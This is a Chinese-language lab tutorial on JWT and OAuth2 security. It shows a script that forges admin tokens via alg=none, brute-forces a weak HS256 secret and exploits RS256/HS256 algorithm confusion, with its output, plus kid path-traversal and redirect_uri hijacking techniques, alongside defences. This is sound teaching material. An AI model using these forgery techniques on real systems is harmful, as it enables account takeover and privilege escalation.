TLS + Web API 安全 · 05 · JWT 与 OAuth2 攻防

一、JWT 深入

1.1 结构回顾

复制代码
Header.Payload.Signature
  │       │        │
  │       │        └─ 用密钥对「Header.Payload」的签名
  │       └─ 用户信息(Base64URL,谁都能解开)
  └─ 声明算法(Base64URL,谁都能解开)

既然 jwt.io 能随便解开我的 token,那我的 token 是不是"不安全"?

不是。

"能被解码"和"能被伪造"是两回事。

JWT 的设计目标从来不是"藏内容",而是"防篡改 "------内容本来就假设是公开的(所以绝不能放密码、密钥)。别人能读到 username、role 没关系,只要改不动就行;而改动会被 Signature 挡下。

真正危险的是:① Payload 里放了敏感信息;② 签名算法/密钥有问题(正是下面要讲的攻击)。

1.2 HS256 和 RS256:两种签名方式

算法 类型 用什么签 用什么验 特点
HS256 对称(HMAC) 同一把密钥 同一把密钥 简单,但验签方必须知道密钥 → 密钥要在多方之间共享
RS256 非对称(RSA) 私钥 公钥 验签方只需公钥,私钥只有签发方能拿到,更适合多方场景

为什么这很重要? 因为很多"算法混淆"漏洞就出在"服务端本该只接受 RS256,却错误地也接受 HS256"。

1.3 服务端怎么验签(正常流程)

  1. 从 token 的 Header 里读出 alg。

  2. 根据 alg 选择对应的验证算法。

  3. 用对应密钥验证 Signature。

  4. 验证通过后,还要检查 exp(过期时间)、iss(签发者)、aud(受众)等声明。

漏洞往往出在第 2、3 步 :服务端太"信任"客户端给的 alg,或者密钥用错。


二、JWT 三类经典攻击(靶场复现)

启动靶场后运行攻击脚本:

复制代码
cd /opt/tls-api-labs
python3 app/jwt_attack.py

真实输出(节选,{'users': [...]} 处省略了完整的用户列表):

复制代码
============================================================
0. 正常登录 alice,拿到合法 token
============================================================
登录响应: {'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', 'token_type': 'Bearer'}
GET /api/me -> 200 {'id': 1001, 'username': 'alice', 'role': 'user'}
​
============================================================
1. alg=none:把签名算法改成 none,去掉签名,冒充 admin
============================================================
伪造 token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
GET /api/me -> 200 {'id': 1, 'username': 'admin', 'role': 'admin'}
GET /api/admin/users -> 200 {'users': [{'id': 1001, 'username': 'alice', 'role': 'user'}, {'id': 1002, 'username': 'bob', 'role': 'user'}, {'id': 1, 'username': 'admin', 'role': 'admin'}]}
​
============================================================
2. HS256 弱密钥:拿合法 token 离线爆破出签名密钥
============================================================
爆破结果: secret123
用爆破出的密钥伪造 admin -> 200 {'users': [...]}
​
============================================================
3. 算法混淆:用 RSA 公钥当 HMAC 密钥签 HS256
============================================================
用公钥当 HMAC 密钥伪造的 token -> 200 {'users': [...]}

下面逐个讲清楚。

2.1 攻击一:alg=none(无签名)

原理 :JWT 规范里有一个特殊算法 none,表示"不签名"。它本来只用于"内容不需要防篡改"的场景。但如果服务端盲目相信 token 里的 alg ,并且"看到 none 就跳过验签",攻击者就能:

  1. 把 Header 改成 {"alg":"none"}。

  2. 把 Payload 改成 {"sub":"1","username":"admin","role":"admin"}。

  3. 把第三段(签名)留空。

  4. 服务端跳过验签 → 完全信任伪造的 payload → 冒充 admin。

脚本里手工拼 token 的关键代码:

复制代码
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1", "username": "admin", "role": "admin"}
forged = b64url(json.dumps(header, separators=(",", ":")).encode()) + "." + \
         b64url(json.dumps(payload, separators=(",", ":")).encode()) + "."
  • separators=(",", ":"):让 JSON 紧凑输出(没有多余空格),因为签名是对精确字节计算的,多一个空格就不同。

  • 结尾的 . 后面什么都没有,就是"空签名"。

  • b64url(...):自己做 Base64URL 编码(去掉末尾的 = 填充)。

为什么真实世界会有这个漏洞? 早期很多 JWT 库默认允许 none,或者开发者写了 decode(token, verify=False) 这类代码。现代库(如 PyJWT 2.x)默认拒绝 none,但仍有老旧代码踩坑。

2.2 攻击二:HS256 弱密钥离线爆破

原理 :HS256 用一把共享密钥 签名。如果这把密钥很弱(比如 secret123、changeme),攻击者拿到任意一个合法 token ,就可以离线尝试各种候选密钥,看哪个能算出一致的签名------不需要跟服务器交互,服务器完全察觉不到。

脚本里的爆破:

复制代码
wordlist = ["123456", "password", "admin", "jwt", "changeme", "secret", "secret123", "lab"]
for w in wordlist:
    try:
        jwt.decode(token, w, algorithms=["HS256"])   # 能解开就说明密钥对了
        found = w
        break
    except jwt.InvalidSignatureError:
        continue

真实结果:secret123。然后攻击者用这把密钥签发一个 role=admin 的 token,就能冒充管理员。

现实中的爆破 :攻击者会用几十 GB 的字典(rockyou.txt 等)和 hashcat 这类工具高速爆破。密钥短或像单词 = 必破。

2.3 攻击三:RS256 → HS256 算法混淆

这是最精妙的一个。

漏洞场景 :服务端本来用 RS256(私钥签、公钥验)。但代码写成了"同时接受 RS256 和 HS256,并且 HS256 也用这把 RSA 公钥来验"。伪代码:

复制代码
if alg == "HS256":
    verify_hmac(token, PUBLIC_KEY)   # 错误!把公钥当 HMAC 密钥
elif alg == "RS256":
    verify_rsa(token, PUBLIC_KEY)

攻击思路:

  1. RSA 的公钥是公开的(服务器证书里就有)。

  2. 攻击者把 token 的 alg 改成 HS256。

  3. 用公钥的内容当 HMAC 密钥,自己算一个 HS256 签名。

  4. 服务端看到 alg=HS256,就用公钥当 HMAC 密钥来验 → 验过了。

脚本里手工构造(PyJWT 2.10 会在编码时拦截这种用法,所以攻击者自己算 HMAC):

复制代码
signing_input = (h + "." + p).encode()
sig = hmac.new(PUB.encode(), signing_input, hashlib.sha256).digest()
forged3 = h + "." + p + "." + b64url(sig)

真实结果:200,成功冒充 admin。

根因 :服务端没有把"允许的算法"写死 ,而是跟着客户端的 alg 走,并且把两类密钥混用了。正确的做法是:服务端固定只接受一种算法,且公钥只用于非对称验证。

2.4 其他 JWT 攻击点(了解即可)

攻击 原理
kid 注入 kid(Key ID)用来指定用哪把密钥验签。如果服务端把 kid 拼进文件路径/SQL,可导致路径穿越/命令注入/SQL 注入 。经典例子:"kid":"../../dev/null" 让服务端读到一个空密钥,攻击者用空密钥签名即可通过校验
jku / x5u 注入 这两个头指向"去哪拿公钥"。如果不过滤,攻击者指向自己的服务器,用自己的公钥验自己的签名
过期时间绕过 服务端不检查 exp,token 永久有效
时钟偏移 服务端与签发方时间差过大,导致有效期判断错误
敏感信息泄露 Payload 只是编码,放了密码/密钥等于公开

三、JWT 防御要点

防御 具体做法
固定算法 服务端写死 algorithms=["RS256"],绝不跟着客户端的 alg 走
拒绝 none 明确禁止 none
强密钥 HS256 密钥用足够长的随机串;优先用 RS256/ES256
校验声明 必须校验 exp、iss、aud,不只看签名
不放敏感信息 Payload 只放非敏感、必要的字段(如用户 id、角色)
短有效期 + 刷新 access token 短(分钟级),refresh token 长但可吊销
黑名单/版本号 需要提前作废时,用 token 版本号或黑名单
区分签名密钥和加密密钥 不要混用

四、OAuth2:委托授权的标准

4.1 要解决什么问题

场景:某网站想让你"用 GitHub 登录",或者想读你的 GitHub 仓库列表。

糟糕的做法 :让你把 GitHub 的账号密码告诉它。这样它就能拿到你的全部权限,还能改密码。

OAuth2 的思路 :让用户授权一个"令牌(token)"给第三方,令牌只有有限的权限、有限的时效,用户还能随时撤销。 第三方永远拿不到你的密码。

一句话 :OAuth2 是"我授权你代表我做某件事"的协议。

4.2 四个角色

角色 是谁 例子
Resource Owner 资源拥有者(用户) 你
Client 想访问你资源的第三方应用 某网站
Authorization Server 发令牌的服务器 GitHub 的授权服务器
Resource Server 存资源的服务器 GitHub API

4.3 授权码模式(Authorization Code):最常用、最安全

流程(以"用 GitHub 登录某网站"为例):

复制代码
你(浏览器)          第三方网站(Client)        GitHub授权服务器        GitHub资源服务器
   │                     │                        │                      │
   │ 点"用GitHub登录"     │                        │                      │
   │ ───────────────────>│                        │                      │
   │                     │ ① 重定向到授权页         │                      │
   │ <───────────────────│   ?client_id=..&redirect_uri=..&state=..    │
   │                                              │                      │
   │ ──② 用户在GitHub登录并同意授权────────────────>│                      │
   │                                              │                      │
   │ <─③ 重定向回 redirect_uri?code=xxx&state=xxx──│                      │
   │                     │                        │                      │
   │ ──④ 把 code 交给后端─>│ ⑤ 后端用 code + client_secret 换 token       │
   │                     │ ──────────────────────>│                      │
   │                     │ <───── access_token ───│                      │
   │                     │ ⑥ 用 access_token 调资源 │                     │
   │                     │ ────────────────────────────────────────────>│

每一步为什么这样设计:

  • ① 重定向到授权页:第三方网站不碰你的密码,登录/授权都在 GitHub 自己的页面完成。

  • client_id:标识是哪个应用。

  • redirect_uri:授权后把结果送回哪。

  • state:一个随机值,用来防 CSRF(下面细讲)。

  • ③ 返回 code :注意,先给的是临时的 code,不是 token。

  • ⑤ 用 code 换 token :这一步在第三方网站的后端 完成,并带上 client_secret(应用的密钥)。为什么要多这一步?

    • code 会出现在浏览器地址栏、历史、日志里,泄露风险高,所以它是一次性的、短暂的。

    • 真正的 access_token 在后端对后端的通道里交换,不经过浏览器,更安全。

  • ⑥ 用 token 访问资源:之后第三方就能代表你调 API 了。

4.4 state:防 CSRF

如果没有 state,攻击者可以构造一个"用攻击者的 GitHub 账号授权 "的链接,诱导你点击。结果你的第三方账号绑定到了攻击者的 GitHub,攻击者之后就能通过它登录你的账号。

state 是一个随机且与用户会话绑定的值:

  • 发起授权时生成,存在用户会话里。

  • 回调时比对:回调里的 state 必须和会话里的一致。

攻击者猜不到这个随机值,也就伪造不了回调。

4.5 PKCE:防授权码被截获

问题 :对于公开客户端 (如手机 App、单页应用),它们无法安全保存 client_secret(代码能被反编译)。那"用 code 换 token"这一步就没有密钥保护,code 若被截获就能被换走。

**PKCE(Proof Key for Code Exchange)**的解法:

  1. 客户端生成一个随机串 code_verifier,算出它的哈希 code_challenge。

  2. 授权请求里带上 code_challenge。

  3. 换 token 时带上原始的 code_verifier。

  4. 服务器验证 hash(code_verifier) == code_challenge。

这样即使 code 被截获,攻击者没有 code_verifier 也换不到 token。现代 OAuth2 推荐所有客户端都用 PKCE。

4.6 redirect_uri 校验缺失:最经典的 OAuth 漏洞

漏洞 :授权服务器如果不严格校验 redirect_uri(比如只检查"以某个前缀开头",或者允许任意子路径),攻击者可以:

  1. 构造一个授权链接,把 redirect_uri 改成攻击者控制的地址(或利用开放重定向)。

  2. 诱导用户点击并授权。

  3. 授权后的 code 被送到攻击者的服务器。

  4. 攻击者用自己的 client_secret 拿 code 换 token → 接管用户账号。

防御 :redirect_uri 必须精确匹配预先注册的完整地址(不能只匹配前缀),禁止通配符和开放重定向。

4.7 其他模式与它们的问题

模式 说明 问题
隐式模式(Implicit) 直接在 URL 片段里返回 access_token token 暴露在浏览器历史/Referer;已被废弃
密码模式(Password) 第三方直接拿你的用户名密码换 token 第三方仍拿到密码,违背初衷;仅限高度信任的第一方
客户端凭证模式 服务对服务,用 client_id/secret 换 token 无用户身份,只代表应用

五、OIDC:在 OAuth2 上加了"身份"

OAuth2 只解决授权 ("你能代表我做什么"),它不负责告诉你"用户是谁" 。而"用微信/GitHub 登录"需要的是身份认证。

OIDC(OpenID Connect) = OAuth2 + 身份层。它在 OAuth2 的基础上多返回一个 id_token(一个 JWT),里面包含用户的身份信息(用户 id、邮箱、昵称等)。

  • access_token:用来访问资源(授权)。

  • id_token:用来确认"用户是谁"(认证)。

**现实中的单点登录(SSO)**大多基于 OIDC:一次登录,多个系统共享身份。


六、现实世界

场景 说明
"用微信/Google/GitHub 登录" OIDC / OAuth2 授权码模式
App 里保存登录状态 refresh token + access token
企业 SSO OIDC / SAML
常见配置错误 redirect_uri 校验不严、state 缺失、PKCE 没开、token 存 localStorage 被 XSS 偷走
常见攻击 授权码截获、CSRF 绑定攻击、开放重定向、token 泄露

实战里怎么找 JWT 漏洞?

  1. 用浏览器 DevTools 看登录响应,找到 token。

  2. 把 token 贴到 jwt.io 或自己 Base64 解码,看 Header 的 alg、Payload 有没有 role、is_admin 之类字段。

  3. 尝试改 alg 为 none、尝试用公钥做 HS256、尝试爆破弱密钥。

  4. 注意:只在授权测试的目标上做。


七、本篇小结

  1. JWT = Header.Payload.Signature;前两段只是编码,安全全靠签名。

  2. HS256 对称(共享密钥),RS256 非对称(私钥签公钥验)。

  3. 三类攻击:alg=none(跳过验签)、弱密钥爆破(离线)、算法混淆(公钥当 HMAC 密钥)。

  4. 防御核心:固定算法、拒绝 none、强密钥、校验 exp/iss/aud、不放敏感信息。

  5. OAuth2 是"委托授权"协议:授权码模式最安全,state 防 CSRF,PKCE 防 code 截获,redirect_uri 必须精确匹配。

  6. OIDC = OAuth2 + 身份层(id_token),是现代 SSO 的基础。


八、总结

  1. JWT 的 Payload 能被别人解开吗?那它靠什么保证没被篡改?

    答 :能解开 (Payload 只是 Base64URL 编码)。防篡改靠 Signature :服务端用密钥对 Header.Payload 计算签名并比对,内容改了签名就不匹配。所以 JWT 里绝不能放敏感信息。

  2. alg=none 攻击成功的前提是什么?怎么防?

    答 :前提是服务端盲目跟随 token 里的 alg ,看到 none 就跳过验签。防御:服务端写死允许的算法 (如只接受 RS256),并明确拒绝 none。

  3. 为什么 HS256 的弱密钥可以被"离线"爆破?

    答 :HS256 用的是共享密钥 ,拿到任意一个合法 token 后,攻击者可以在本地 用字典里的候选密钥逐个计算签名并比对,全程不需要与服务器交互,服务器也察觉不到。密钥短或是常见单词,几乎必破。

  4. 算法混淆攻击的根因是什么?服务端应该怎么写才安全?

    答 :根因是服务端没有固定算法 ,而且把"用于非对称验证的 RSA 公钥"错误地当作"HS256 的 HMAC 密钥"。安全写法:固定只接受一种算法,公钥只用于非对称验证,签名密钥与验证密钥严格分开。

  5. OAuth2 授权码模式里,为什么先给 code 再换 token?client_secret 为什么不能放前端?

    答 :code 会出现在浏览器地址栏、历史、日志里,暴露面大,所以设计成一次性、短时效 ;真正的 access_token 由第三方后端 带着 client_secret 去交换,不经过浏览器 ,更安全。client_secret 放在前端等于公开(前端代码可被查看、App 可被反编译),任何人都能冒充这个应用,所以必须只存在于后端。

  6. state 和 PKCE 分别防什么?redirect_uri 校验不严会导致什么后果?

    答 :state 防 CSRF (防止把用户的第三方账号绑到攻击者的身份上);PKCE 防授权码被截获后被拿去换 token (公开客户端没有 client_secret 时尤其重要)。redirect_uri 校验不严,攻击者可把授权后的 code 送到自己控制的地址,进而换 token 接管用户账号。

相关推荐
小程序设计1 小时前
基于传感器技术的幼儿园安全监护系统的设计与实现
安全
zhongwei2281 小时前
vba将一个文件夹的内容复制到另外一个文件夹的函数,若存在则是否覆盖的参数。复制前检查源文件夹是否存在。若目标文件夹不存在,则新建
前端·vba
怕浪猫3 小时前
分享一个做视频的skill,这条白板视频,每一笔都是代码画的
前端·javascript·面试
luiyarch3 小时前
汽车电子ISO 21448 SOTIF系列(第11期):SOTIF的V模型长什么样?
安全·车载系统·汽车
aa小小3 小时前
大屏自适应缩放方案
前端·数据可视化
陪我去看海4 小时前
被要求猛出小程序,做了这个多平台多环境的部署替我承受压力
前端·微信小程序·抖音小程序
Frag0ut4 小时前
告别插件时代:HTML5 视频播放对比 Flash/Silverlight/ActiveX 的性能与技术优势解析
前端·html5·视频播放·flash·activex·流媒体技术·silverlight
用户818618028004 小时前
MongoDB文档模型设计——从建模到索引
前端
無名路人5 小时前
小程序点餐页吸顶滚动之分类按需加载,上划切换
前端·vue.js·微信小程序